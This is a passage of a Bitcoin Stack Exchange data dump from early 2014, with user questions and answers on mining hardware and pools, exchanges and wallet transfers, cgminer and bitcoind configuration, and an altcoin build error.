  <row Id="20966" PostTypeId="1" AcceptedAnswerId="21024" CreationDate="2014-01-22T21:40:37.963" Score="-1" ViewCount="593" Body="&lt;p&gt;I have recently found out about Bitcoin, and as I read more and found about about hardware and stuff, I thought of a lot of questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Butterfly Labs has Bitcoin mining hardware, and I was thinking, &quot;if I'm going to do it, I'm going to do it well.&quot; With my current setup (GTX 560), I was making about 1 cent a day. I have given up with that now, because with power usage of mining with a GPU, it's not even worth it. So I was looking at the 600 GH Bitcoin mining card on Butterfly Labs (&lt;a href=&quot;https://products.butterflylabs.com/homepage-new-products/600-gh-bitcoin-mining-card.html&quot; rel=&quot;nofollow&quot;&gt;https://products.butterflylabs.com/homepage-new-products/600-gh-bitcoin-mining-card.html&lt;/a&gt;), and with the specs that they have listed, I figured on this calculator (&lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;) that it would make enough Bitcoins to pay for itself in about 16 days (at the current difficulty level, its power consumption, and price of Bitcoins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that brings me to shares in pools. It says that EasyMiner software is provided. That would mine the Bitcoins for me, but when I was mining with GUIMiner, I realized that I wasn't getting share after share, I was getting one about every 4 or 5 minutes. Is it the software that requests shares, or does the pool's server push it to your miner? This EasyMiner that comes with this mining card, does it know when it finishes mining and requests another share, if that's the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the calculated price, is that mining alone, or is it in a pool? It says that alone, it would take 148 days to decrypt a block, or whatever it does (I'm not quite sure what it does yet, but from what I understand, &quot;blocks&quot; are SHA hashes or something). Would I be able to put that card in my current machine (in a free PCI express slot) and run the program, and it wouldn't even slow my PC down? Or would I want a different machine for it? It seems too easy to get all of that money with just this one card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the TerraMiner IV (www.cointerra.com/product/terraminer-iv-2ths-networked-asic-miner-may-batch/) that is 2 TH/s, but comes with CGminer (with web-based management, whatever that means. Connect to it via the internet?). Would it be better to invest in this than in the ButterflyLabs 600 GH/s card?&lt;/p&gt;&#xA;" OwnerUserId="12571" LastEditorUserId="2306" LastEditDate="2017-04-26T21:33:03.983" LastActivityDate="2017-04-26T21:33:03.983" Title="Questions about Bitcoin mining hardware and in pools" Tags="|mining-pools|mining-hardware|asic|mining-pool-shares|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-10T10:23:27.607" ContentLicense="CC BY-SA 3.0" />
  <row Id="20968" PostTypeId="2" ParentId="20962" CreationDate="2014-01-22T21:51:27.317" Score="2" Body="&lt;p&gt;They won't be lost. But it won't be easy to get them recovered.&lt;/p&gt;&#xA;&lt;p&gt;The wiki page on Transaction Fees mentions the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A transaction may be safely sent without fees if these conditions are met:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is smaller than 10,000 bytes.&lt;/li&gt;&#xA;&lt;li&gt;All outputs are 0.01 BTC or larger.&lt;/li&gt;&#xA;&lt;li&gt;Its priority is large enough (see the Technical Info section below)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So if you have 1,000,000 outputs with one satoshi, you can bundle them by combining them few at a time with a larger output.&lt;/p&gt;&#xA;&lt;p&gt;Let's say you have another output of 1 BTC. You can make a transaction using this output and any number of 1-satoshi outputs until the limit of 10kB is reached. Make the transaction create only one new output.&lt;/p&gt;&#xA;&lt;p&gt;I'm not very familiar with output sizes, but let's plan for the worse and consider you can only add two inputs (this will probably not be the case). You will need to make 1,000,000 free transactions each combining the 1-satoshi with the 1 BTC. First tx will give you an 1,000,001 Satoshi output for that address and so on.&lt;/p&gt;&#xA;&lt;p&gt;So basically, 1-satoshi outputs are not lose, but they are hard to spend. However, the price will need to increase substantially until it's worth the effort to go through this hassle in order to free some satoshi.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-22T21:51:27.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20969" PostTypeId="2" ParentId="20935" CreationDate="2014-01-22T21:54:18.923" Score="1" Body="&lt;p&gt;When you have a Coinbase account, you don't really have a wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So best thing to do in your case is to create an offline wallet of your choice and send all funds over to it from Coinbase.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-22T21:54:18.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20970" PostTypeId="2" ParentId="19251" CreationDate="2014-01-22T22:05:03.587" Score="16" Body="&lt;p&gt;First of all, Coinbase is a little different from the main concept of an &quot;exchange&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Real exchanges, like MtGox or Bitstamp, are really just a medium between traders. People can set limit orders to buy / sell bitcoins for a certain price. The exchange will match buyers and sellers when conditions of both the buyer and the seller are met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More concrete, there are two types of orders: limit orders and market orders. Limit orders allow a trader to buy bitcoins at a price lower than the current price or sell bitcoins higher than the current price. However, these orders will only be executed once another user accepts them. Market orders will just find the best matching limit order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say the last trading price is 100 EUR/BTC. Two people want to sell bitcoins but not for 100 EUR. One sets a limit order for 105 and the other for 110. So the best price to buy bitcoins for is then 105. When a person places a buying market order, it will look for the best price and it will buy from the one trader for 105 EUR. If the buyer wants to buy more than just one bitcoin, he will continually take the lowest price available. Doing this, the &quot;price&quot; of bitcoin will increase as the lower-price sell orders are no longer available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase is different because it, as far as I know, does not allow for limit orders. I'm not sure how they implement trading, but it's possible that they charge a little higher price and take the risk for themselves or they may just make your order at another real exchange they partner with. But in any case, if no limit orders are supported, it is not a real person-to-person exchange like most others are.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-22T22:05:03.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20971" PostTypeId="2" ParentId="9858" CreationDate="2014-01-22T22:05:12.207" Score="0" Body="&lt;p&gt;Bitcoin lending would be done as in any bank lending - the bank opens a bit coin checking account for you in the amount of the loan. You pay back the loan and interest by using the funds other people have borroed from other bitcoin banks. As long as more &amp;amp; more banks make more &amp;amp; more loans its ok. As in any banking the banks only need a fraction of the bitcoins on hand to cover the loans made. This also gets rid of the bit coin deflation problem because the banks are inflating the bitcoihns by making all these bitcoin checking accounts. The big wall street bank could jump in by seting up bitcoin debet cards and bitcoin credits cards. Paypal could setup a system to support bitcoins. Once bitcoins get going you could have specilized version of bit coins. For example you could have a type of bitcoins the mostly are used for pork bellies. Or say a type of bitcoins that tend to only be used for realestate. That way the exchange between these types of bitcoins would soffen any bubbles that may appear. There may be 100s of different types of bitcoins. To make a transaction the user would use plastic that would altomaticly use the correct bitcoin type for the transaction and adjust the verious accounts of the user. The user would be protected from bubbles by the fact that only a few of the accounts would be effected by bubbles at any one time. So it a housing bubble broke you might find it hard to get a housingbitcoin loan but you still could get a transportationbitcoin loan to build a plane. We will therefore never have a problem like we had in 2008 again. &lt;/p&gt;&#xA;" OwnerUserId="12575" LastActivityDate="2014-01-22T22:05:12.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20972" PostTypeId="2" ParentId="20948" CreationDate="2014-01-22T22:18:33.700" Score="0" Body="&lt;p&gt;Right @Nate, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin transactions are validated by bitcoin peers. There in no way to do send/receive money without shoe to the whole world. But if no one knows that such wallet belongs to you, your transactions stays anonymous. Tor helps to maintain your transactions anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use Bitcoin over Tor proxy, follow this &lt;a href=&quot;https://en.bitcoin.it/wiki/Tor&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11036" LastActivityDate="2014-01-22T22:18:33.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20973" PostTypeId="1" AcceptedAnswerId="20975" CreationDate="2014-01-22T22:58:18.923" Score="1" ViewCount="206" Body="&lt;p&gt;Just out of curiosity, I downloaded cpuminer, signed up at a mining pool site and started the miner.  It seems to be doing something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-01-22 22:51:09] 1 miner threads started, using 'sha256d' algorithm.&#xA;[2014-01-22 22:51:09] Starting Stratum on stratum+tcp://stratum.bitcoin.cz:3333 &#xA;[2014-01-22 22:51:10] Stratum detected new block&#xA;[2014-01-22 22:51:12] thread 0: 2097152 hashes, 1600 khash/s&#xA;[2014-01-22 22:51:42] Stratum detected new block&#xA;[2014-01-22 22:51:46] thread 0: 56289640 hashes, 1652 khash/s&#xA;[2014-01-22 22:52:47] thread 0: 99121136 hashes, 1624 khash/s&#xA;[2014-01-22 22:53:48] thread 0: 97418224 hashes, 1599 khash/s&#xA;[2014-01-22 22:54:40] thread 0: 95913336 hashes, 1821 khash/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that mining could not be done without first downloading the whole chain (that takes about 3 days to download).  Is cpuminer really doing something or just showing me some fake data?&lt;/p&gt;&#xA;" OwnerUserId="12577" LastActivityDate="2014-01-22T23:14:16.590" Title="CPUMiner - Do I also need to download Bitcoin client and 15gb chain?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20975" PostTypeId="2" ParentId="20973" CreationDate="2014-01-22T23:14:16.590" Score="1" Body="&lt;p&gt;Mining by yourself requires that you have the whole blockchain. However, when you choose to mine as part of a pool, the pool operator maintains the full blockchain and just sends parcels of work out to the miners. (Of course, in this arrangement you have to trust the pool operator.)&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-22T23:14:16.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20976" PostTypeId="1" CreationDate="2014-01-23T00:28:37.817" Score="1" ViewCount="61" Body="&lt;p&gt;can Cryptocoins be spent through payment systems like Paypal? i.e. instead of linking to  a credit card, linking to the wallet address. or do they have to explicitly accept bitcoins/crytpocoins?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2014-01-23T00:34:52.993" Title="Can Cryptocoins be spent through payment services?" Tags="|wallet|payment|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20977" PostTypeId="2" ParentId="20976" CreationDate="2014-01-23T00:34:52.993" Score="1" Body="&lt;p&gt;No, a cryptocurrency wallet does not itself have any link or correspondence to fiat (traditional) currency. If the payment processor doesn't explicitly support Bitcoin or other cryptocurrency, then they are not interoperable.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-23T00:34:52.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20978" PostTypeId="1" AcceptedAnswerId="20979" CreationDate="2014-01-23T01:11:50.720" Score="5" ViewCount="568" Body="&lt;p&gt;I have a couple thousand dollars in a savings account. I am getting almost no return since the bank accounts interest rates are so very low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know nothing about the stock market, so investing there is not at the top of my list. If I put the money into a bitcoin wallet, theoretically, isn't it gaining value faster than the savings account? Even with any fees involved, it might be a good place to hold my money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if things go bad here in the USA, I'd like to have some money safe.&lt;/p&gt;&#xA;" OwnerUserId="12580" LastEditorUserId="12580" LastEditDate="2017-12-29T05:13:29.837" LastActivityDate="2017-12-29T05:13:29.837" Title="Bitcoin as an investment?" Tags="|investing|" AnswerCount="5" CommentCount="1" ClosedDate="2017-12-28T22:21:25.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="20979" PostTypeId="2" ParentId="20978" CreationDate="2014-01-23T01:24:43.447" Score="3" Body="&lt;p&gt;Keep in mind that funds held in a Bitcoin wallet carry considerable financial risk (compared to a savings account). The value of bitcoin can increase rapidly, but it can also drop rapidly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you believe that long-term, the value of bitcoin will continue to increase, then bitcoin might be a good investment for you. However, the future is unknowable, and something could happen that causes the bottom to drop out of the bitcoin market and its value to plummet. Your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that in the US, you may be liable for taxes on realized capital gains through investment (this is not tax advice).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-23T01:24:43.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20981" PostTypeId="2" ParentId="17429" CreationDate="2014-01-23T03:03:42.247" Score="-1" Body="&lt;p&gt;There is a Russian coin called Sifcoin that was the basis for Quarkcoin. Because it is inflationary not many coins have been mined thus far (the reward is not decreasing expoentially) and so can be mined with a CPU / standard laptop. &lt;/p&gt;&#xA;" OwnerUserId="12583" LastActivityDate="2014-01-23T03:03:42.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20983" PostTypeId="2" ParentId="19196" CreationDate="2014-01-23T03:23:24.153" Score="0" Body="&lt;p&gt;You can also solve these problems by installing dependencies with homebrew &lt;a href=&quot;http://brew.sh/&quot; rel=&quot;nofollow&quot;&gt;http://brew.sh/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it may also fix the problem to run Xcode-select --install in Terminal&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2014-01-23T03:23:24.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20984" PostTypeId="2" ParentId="11029" CreationDate="2014-01-23T04:03:06.273" Score="0" Body="&lt;p&gt;Alternatives to downloading the whole blockchain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum (&lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/&lt;/a&gt;) is a client/wallet that does not download the whole blockchain.  I think Multibit is another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also get most of the blockchain via DVD.  Here's one place that offers the DVD:  &lt;a href=&quot;http://startbitcoin.com/blockchain-on-dvd/&quot; rel=&quot;nofollow&quot;&gt;http://startbitcoin.com/blockchain-on-dvd/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12489" LastActivityDate="2014-01-23T04:03:06.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20985" PostTypeId="1" CreationDate="2014-01-23T04:36:20.507" Score="9" ViewCount="63368" Body="&lt;p&gt;Say I buy a Bitcoin from a specific market, like BTC-e, and it goes into my wallet. Is it possible for me to transfer that Bitcoin from its current wallet (BTC-e) into a wallet that I have on another market, like LocalBitcoins? If so, how can I do that and is there a fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do all markets (BTC-e, LocalBitcoins, etc.) allow you to withdraw a Bitcoin from your wallet and exchange it for cash?&lt;/p&gt;&#xA;" OwnerUserId="12586" LastActivityDate="2017-05-12T09:46:30.627" Title="Transferring Bitcoins from Wallet to Wallet" Tags="|wallet|exchanges|transaction-fees|trading|btce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20986" PostTypeId="1" CreationDate="2014-01-23T05:08:30.553" Score="1" ViewCount="34594" Body="&lt;p&gt;Is it possible to buy a Bitcoin at one exchange, say BTC-e, and then sell it on another, like LocalBitcoins? If it is possible, how would this be done? More specifically, how could you transfer a Bitcoin from one wallet to another wallet that uses a different exchange?&lt;/p&gt;&#xA;" OwnerUserId="12586" LastActivityDate="2018-09-28T21:49:16.557" Title="Can I buy a Bitcoin from one exchange and sell it on another?" Tags="|wallet|exchanges|btce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20987" PostTypeId="1" AcceptedAnswerId="20996" CreationDate="2014-01-23T05:21:49.330" Score="1" ViewCount="326" Body="&lt;p&gt;I followed gavinadresen's answer at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2570/bitcoin-qt-command-line-control-on-mac&quot;&gt;Bitcoin-Qt command line control on Mac&lt;/a&gt;. When I enter the following in terminal, it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open Bitcoin-Qt.app --args -server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've put in the following into my bitcoin.conf file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=yourname&#xA;rpcpassword=password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I entered the following in terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --user yourname --data-binary '{&quot;id&quot;:&quot;t0&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above prompts me for the password and then it shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&#xA;&quot;http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd&quot;&amp;gt;&#xA;&amp;lt;HTML&amp;gt;&#xA;&amp;lt;HEAD&amp;gt;&#xA;&amp;lt;TITLE&amp;gt;Error&amp;lt;/TITLE&amp;gt;&#xA;&amp;lt;META HTTP-EQUIV='Content-Type' CONTENT='text/html; charset=ISO-8859-1'&amp;gt;&#xA;&amp;lt;/HEAD&amp;gt;&#xA;&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;401 Unauthorized.&amp;lt;/H1&amp;gt;&amp;lt;/BODY&amp;gt;&#xA;&amp;lt;/HTML&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above output doesn't look right.  Aren't I supposed to get data from Bitcoin?  How do I get the curl command to work?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-01-23T15:19:38.403" Title="cURL to Bitcoin-Qt on Mac fails" Tags="|bitcoin-core|mac|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20988" PostTypeId="2" ParentId="19308" CreationDate="2014-01-23T06:19:19.437" Score="6" Body="&lt;p&gt;You can try to &quot;auto-manually&quot; add your GPUs to bfgminer by pressing &lt;code&gt;M&lt;/code&gt; then &lt;code&gt;+&lt;/code&gt; and then typing &lt;code&gt;auto&lt;/code&gt;, or you can use the &lt;code&gt;-S opencl:auto&lt;/code&gt; option when launching bfgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Not all graphics cards are compatible; various software is required (e.g., AMD APP sdk); it is not recommended to use GPUs for bitcoin mining with bfgminer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/README.GPU&quot; rel=&quot;noreferrer&quot;&gt;README.GPU&lt;/a&gt;, the official documentation for bfgminer on github:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, BFGMiner will NOT mine on any GPUs unless in scrypt mode. If you&#xA;  wish to use your GPU to mine SHA256d (generally not a good idea), you can&#xA;  explicitly enable it with the -S opencl:auto option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To start scrypt mining with bfgminer and GPUs, use the &lt;code&gt;--scrypt&lt;/code&gt; and &lt;code&gt;-S opencl:auto&lt;/code&gt; options, but keep in mind that there are several other parameters to consider. See &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/README.scrypt&quot; rel=&quot;noreferrer&quot;&gt;README.scrypt&lt;/a&gt; for additional details about scrypt mining configuration and optimization with GPUs.&lt;/p&gt;&#xA;" OwnerUserId="7530" LastActivityDate="2014-01-23T06:19:19.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20990" PostTypeId="2" ParentId="20963" CreationDate="2014-01-23T06:56:37.653" Score="1" Body="&lt;p&gt;Yes, there are multiple open source mining clients stated in the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=260031.0&quot; rel=&quot;nofollow&quot;&gt;Quarkcoin thread&lt;/a&gt;. See &quot;standalone miners&quot;.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-23T06:56:37.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20991" PostTypeId="2" ParentId="20986" CreationDate="2014-01-23T07:05:31.387" Score="4" Body="&lt;p&gt;Yep you can! This form of trading is called arbitrage and is not only done with BTC, but with nearly any un-centralized market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only drawback here is the financial difficulty of moving fiat from or to Bitcoins, since exchanges don't let you share your fiat balance with others without having to withdraw to a bank account. The withdraw process for most exchanges is known to take up to weeks and in that time BTC may have fallen or rose, similar with deposits. But a few people get away with arbitrage and make a profit in the end of the day.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-23T07:05:31.387" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20992" PostTypeId="1" CreationDate="2014-01-23T07:18:25.983" Score="6" ViewCount="13663" Body="&lt;p&gt;I'm mining in different pools, one is main and I would like to dedicate 80% off the time spent mining on it, but I'm also mining in another and would like to dedicate 20% on that. I know you can set up the config as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;pools&quot; : [&#xA;    {&#xA;        &quot;url&quot; : &quot;http://pool1&quot;,&#xA;        &quot;user&quot; : &quot;user1&quot;,&#xA;        &quot;pass&quot; : &quot;123&quot;&#xA;    },&#xA;    {&#xA;        &quot;url&quot; : &quot;http://pool2&quot;,&#xA;        &quot;user&quot; : &quot;user2&quot;,&#xA;        &quot;pass&quot; : &quot;123&quot;&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is there a way you could define a 80/20 // 70/30 mining setup between the pools so that it mines the first pool for 19 hours, then the second pool for 5 hours (or days)&lt;/p&gt;&#xA;" OwnerUserId="12590" LastActivityDate="2021-05-29T18:09:37.827" Title="Can I set up cgminer to mine in different pools, by a defined ratio?" Tags="|cgminer|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20993" PostTypeId="2" ParentId="20992" CreationDate="2014-01-23T07:45:04.043" Score="0" Body="&lt;p&gt;Actually you can't.&#xA;By default CGMiner uses the second pool as a failover, so it won't mine on the second if the first pool is up.&#xA;You can add :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;load-balance&quot; : true,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make it mine on 2 pools (50/50 if think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to balance with 80/20 you just have to launch it at different hours, on Windows use the task launcher to kill it, then relaunch it with different parameters, on Linux you could use crontab to do the same thing :)&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2014-01-23T07:45:04.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20995" PostTypeId="2" ParentId="20985" CreationDate="2014-01-23T08:12:48.377" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All exchange websites have a Withdraw option that allow you to send BTC to another wallet (a local or an online-wallet you own on another exchange website). But be careful, some platform make you pay transaction fees, you'll have to check on the Fees page to find it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As I said, all exchange platforms have the Withdraw BTC option, and you can in all exchange platforms exchange your BTC for USD / EUR / ... then you can withdraw 'real' (don't like this term) money to a bank account. WARNING : Fees are way higher.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2014-01-23T08:12:48.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20996" PostTypeId="2" ParentId="20987" CreationDate="2014-01-23T08:35:59.120" Score="0" Body="&lt;p&gt;Three things to check : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there rpcssl=1 in your bitcoin.conf ? If so, set it to 0 or make HTTPS connections only&lt;/li&gt;&#xA;&lt;li&gt;Have you set rpcallowip=127.0.0.1 ?&lt;/li&gt;&#xA;&lt;li&gt;Try connect to http: //yourname:yourpassword@127.0.0.1:8332/ directly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the fourth thing to check (as I saw your answer) :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check if you have correctly entered your username and password ;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3819" LastEditorUserId="3819" LastEditDate="2014-01-23T15:19:38.403" LastActivityDate="2014-01-23T15:19:38.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20997" PostTypeId="1" CreationDate="2014-01-23T09:08:08.937" Score="0" ViewCount="339" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/11760/11136&quot;&gt;I know I can&lt;/a&gt; rebuild my block index by setting &lt;code&gt;txindex=1&lt;/code&gt; in my bitcoin.conf file and restart bitcoind with &lt;code&gt;-reindex&lt;/code&gt; so that I can view non-wallet transactions using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getrawtransaction a93a668d9332e21d51380c7251bbf5ad47295ca9795e0ad6f2fe8d63b76af9aa 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm currently in another situation however, in which I only have the recipient address. So my question is, can I list all transactions that have been received by a certain address, preferably including the confirmations that this transaction has gotten?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All tips are welcome!&lt;/p&gt;&#xA;" OwnerUserId="11136" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-10-05T04:38:40.327" Title="How to get last transactions made to a non-wallet bitcoin address?" Tags="|wallet|blockchain|bitcoind|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20998" PostTypeId="1" AcceptedAnswerId="21008" CreationDate="2014-01-23T11:47:59.353" Score="2" ViewCount="157" Body="&lt;p&gt;Right now, we have one accepted version of Bitcoin (the software) and most miners and full nodes are using some versions of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what can very well happen is some split within Bitcoin developers over some detail - say, halving time, block size, minimal fee, better hashing/encrypting algorithms after some successful cryptographic attack, you name it. (It happens with open source projects.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine this happened and there were two &quot;versions&quot; of bitcoin, that accept different blocks as valid - for the worst case scenario, imagine that the sets of valid blocks are suddenly disjoined (what is accepted for one version is not for the other). And for the worst case scenario, imagine that the distribution between both miners and full nodes is 50:50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly would happen? How exactly would the problem &quot;resolved itself&quot;? If we assume that regular transactions (not the mining ones) are sent between both of the versions, what would happen with them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry if this question seems too theoretical, but I personally can see this hapenning.)&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2014-01-23T14:24:22.897" Title="What would happen if there were two &quot;disjoined&quot; versions of bitcoin with the same popularity?" Tags="|bitcoind|block|blockchain-fork|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-10T00:51:05.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="20999" PostTypeId="1" AcceptedAnswerId="30114" CreationDate="2014-01-23T11:53:16.310" Score="0" ViewCount="793" Body="&lt;p&gt;I am having trouble compiling the Copperlark source on Ubuntu 12.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run the following command:&#xA;Код: [Выделить]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make -f makefile.unix USE_UPNP=-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which fails on this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/root/CopperLarkSrc/src/leveldb/libleveldb.a(format.o): In function `leveldb::ReadBlock(leveldb::RandomAccessFile*, leveldb::ReadOptions const&amp;amp;, leveldb::BlockHandle const&amp;amp;, leveldb::BlockContents*)':&#xA;format.cc:(.text+0x510): undefined reference to `operator new[](unsigned int)'&#xA;format.cc:(.text+0x86a): undefined reference to `operator new[](unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `leveldb::(anonymous namespace)::FileState::Append(leveldb::Slice const&amp;amp;)':&#xA;memenv.cc:(.text+0x467): undefined reference to `operator new[](unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `leveldb::(anonymous namespace)::InMemoryEnv::NewSequentialFile(std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;, leveldb::SequentialFile**)':&#xA;memenv.cc:(.text+0x10a6): undefined reference to `operator new(unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function 